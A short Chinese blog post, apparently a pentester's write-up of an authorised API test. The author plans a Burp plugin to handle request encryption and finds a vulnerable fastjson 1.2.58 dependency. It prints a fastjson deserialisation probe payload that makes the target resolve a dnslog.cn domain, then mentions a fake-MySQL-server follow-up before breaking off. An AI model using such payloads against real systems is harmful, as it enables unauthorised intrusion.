网络安全记一次接口加密测试

前言

之前接到一个接口测试项目,就提供了一个demo源码和接口设计文档,文档里一共有15个接口。

本来以为接口测试,只要把参数拼接上去测测就ok了(数据是json格式),但看到设计文档里说数据又得做签名又得做加密,这样测试就变得繁琐了,扫描器也扫不了。没加密发送,返回会显示解密失败。

其实是有几种解决方案的,写一个代理服务器,经过的时候做数据加密处理啥的,另一个就是写个burp插件,做请求前的数据自动加密,这个其实用过chunked编码插件的就很容易理解。在这里我打算选择后者,其实burp本身就是一个代理服务器,所以代理部分就不需要我们操心了,我们只需要解决数据处理部分。

fastjson利用

在干之前还是得先看看demo源码有啥,因为还不清楚具体的签名和加密的细节。目标系统是基于java开发的,demo当然也是java了,项目是用mvn管理的,IDEA自带mvn,就重新编译打包一下,运行jar包运行的是一个spingboot应用,但demo里并没有提供接口,所以其实没啥用。

所以就翻翻其他文件,首先要看的就是pom.xml看下有哪些依赖包,提交的数据都是json的,其实也猜到一些,这里可以看到fastjson1.2.58,一个存在漏洞的版本,而目标如果一样的话,那就可以先获取高危一枚。

虽然还没搞定加解密,先提交poc尝试{"

type":"java.net.Inet4Address","val":".3l6h3t.dnslog.cn"}

目标成功解析

然后上mysqlconnectorpayload。github有一个项目也一键搭建一个fakermysql


转载请注明:http://www.aierlanlan.com/tzrz/3602.html